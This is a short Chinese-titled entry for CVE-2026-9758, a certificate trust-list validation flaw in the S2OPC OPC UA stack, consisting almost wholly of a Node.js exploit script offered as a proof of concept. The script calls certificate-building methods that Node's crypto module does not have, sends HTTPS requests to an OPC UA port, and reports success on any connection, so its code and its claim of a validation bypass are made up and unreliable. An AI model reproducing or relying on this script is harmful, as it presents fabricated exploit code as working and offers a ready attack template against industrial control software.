CVE-2026-9758 S2OPC证书信任列表验证不当漏洞

// CVE-2026-9758 PoC - S2OPC Certificate Validation Bypass // This PoC demonstrates the improper certificate comparison vulnerability const crypto = require('crypto'); const https = require('https'); // Generate a malicious certificate that bypasses the trust check function generateMaliciousCert() { // Create a certificate with the same Subject but different serial // The vulnerability allows this to pass trust validation const cert = crypto.createCertificate(); cert.setSubject({ commonName: 'Legitimate Server', organization: 'Target Org' }); cert.setIssuer({ commonName: 'Target CA', organization: 'Target Org' }); // Set serial number that triggers the comparison bug cert.setSerialNumber('0x0000000000000001'); return cert; } // Exploit function to bypass certificate validation async function exploit(targetHost, targetPort) { console.log('[*] CVE-2026-9758 Exploit'); console.log('[*] Target:', targetHost, ':', targetPort); const maliciousCert = generateMaliciousCert(); // Attempt to establish connection with malicious certificate const options = { hostname: targetHost, port: targetPort, method: 'GET', rejectUnauthorized: false, // Bypass SSL verification cert: maliciousCert, key: maliciousCert.key }; try { const req = https.request(options, (res) => { console.log('[+] Connection established!'); console.log('[+] Certificate validation bypassed'); }); req.on('error', (e) => { console.error('[-] Connection failed:', e.message); }); req.end(); } catch (err) { console.error('[-] Error:', err.message); } } // Run exploit // Usage: node cve-2026-9758-poc.js <target_host> <port> const args = process.argv.slice(2); if (args.length >= 1) { exploit(args[0], args[1] || 4840); } else { console.log('Usage: node cve-2026-9758-poc.js <target_host> [port]'); }